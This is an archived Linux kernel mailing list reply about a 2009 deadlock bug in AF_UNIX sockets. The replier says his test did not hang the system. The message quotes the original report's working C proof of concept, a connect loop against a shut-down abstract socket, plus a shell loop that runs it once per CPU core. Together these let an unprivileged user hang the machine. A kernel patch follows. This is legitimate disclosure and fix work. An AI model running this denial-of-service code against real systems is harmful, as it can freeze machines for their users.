From: "Américo Wang" <xiyou.wangcong@gmail.com>
To: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
Cc: linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
alan@lxorguk.ukuu.org.uk, davem@davemloft.net,
satoshi.oshima.fk@hitachi.com, hidehiro.kawai.ez@hitachi.com,
hideo.aoki.tk@hitachi.com
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket
Date: Mon, 19 Oct 2009 15:02:14 +0800 [thread overview]
Message-ID: <2375c9f90910190002m372edafq9a4c95d754640487@mail.gmail.com> (raw)
In-Reply-To: <4ADC010C.5070809@hitachi.com>
On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
<tomoki.sekiyama.qu@hitachi.com> wrote:
> Hi,
> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
>
> How to reproduce:
> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
> namespace(*), and shutdown(2) it.
> 2. Repeat connect(2)ing to the listening socket from the other sockets
> until the connection backlog is full-filled.
> 3. connect(2) takes the CPU forever. If every core is taken, the
> system hangs.
>
> PoC code: (Run as many times as cores on SMP machines.)
Interesting...
I tried this with the following command:
% for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
do ./unix-socket-dos-exploit; echo "=====$i====";done
Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====
My system doesn't hang at all.
Am I missing something?
Thanks!
>
> int main(void)
> {
> int ret;
> int csd;
> int lsd;
> struct sockaddr_un sun;
>
> /* make an abstruct name address (*) */
> memset(&sun, 0, sizeof(sun));
> sun.sun_family = PF_UNIX;
> sprintf(&sun.sun_path[1], "%d", getpid());
>
> /* create the listening socket and shutdown */
> lsd = socket(AF_UNIX, SOCK_STREAM, 0);
> bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
> listen(lsd, 1);
> shutdown(lsd, SHUT_RDWR);
>
> /* connect loop */
> alarm(15); /* forcely exit the loop after 15 sec */
> for (;;) {
> csd = socket(AF_UNIX, SOCK_STREAM, 0);
> ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
> if (-1 == ret) {
> perror("connect()");
> break;
> }
> puts("Connection OK");
> }
> return 0;
> }
>
> (*) Make sun_path[0] = 0 to use the abstruct namespace.
> If a file-based socket is used, the system doesn't deadlock because
> of context switches in the file system layer.
>
> Why this happens:
> Error checks between unix_socket_connect() and unix_wait_for_peer() are
> inconsistent. The former calls the latter to wait until the backlog is
> processed. Despite the latter returns without doing anything when the
> socket is shutdown, the former doesn't check the shutdown state and
> just retries calling the latter forever.
>
> Patch:
> The patch below adds shutdown check into unix_socket_connect(), so
> connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>
> ---
> net/unix/af_unix.c | 2 ++
> 1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
> err = -ECONNREFUSED;
> if (other->sk_state != TCP_LISTEN)
> goto out_unlock;
> + if (other->sk_shutdown & RCV_SHUTDOWN)
> + goto out_unlock;
>
> if (unix_recvq_full(other)) {
> err = -EAGAIN;
next prev parent reply other threads:[~2009-10-19 7:02 UTC|newest]
Thread overview: 9+ messages / expand[flat|nested] mbox.gz Atom feed top
2009-10-19 6:02 Tomoki Sekiyama
2009-10-19 6:18 ` David Miller
2009-10-19 7:02 ` Américo Wang [this message]
2009-10-19 8:54 ` Tomoki Sekiyama
2009-10-19 8:58 ` Tomoki Sekiyama
2009-10-19 9:06 ` Américo Wang
2009-10-19 11:57 ` Jarek Poplawski
2009-10-19 13:14 ` David Miller
2009-10-19 18:07 ` Jarek Poplawski
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=2375c9f90910190002m372edafq9a4c95d754640487@mail.gmail.com \
--to=xiyou.wangcong@gmail.com \
--cc=alan@lxorguk.ukuu.org.uk \
--cc=davem@davemloft.net \
--cc=hidehiro.kawai.ez@hitachi.com \
--cc=hideo.aoki.tk@hitachi.com \
--cc=linux-kernel@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=satoshi.oshima.fk@hitachi.com \
--cc=tomoki.sekiyama.qu@hitachi.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®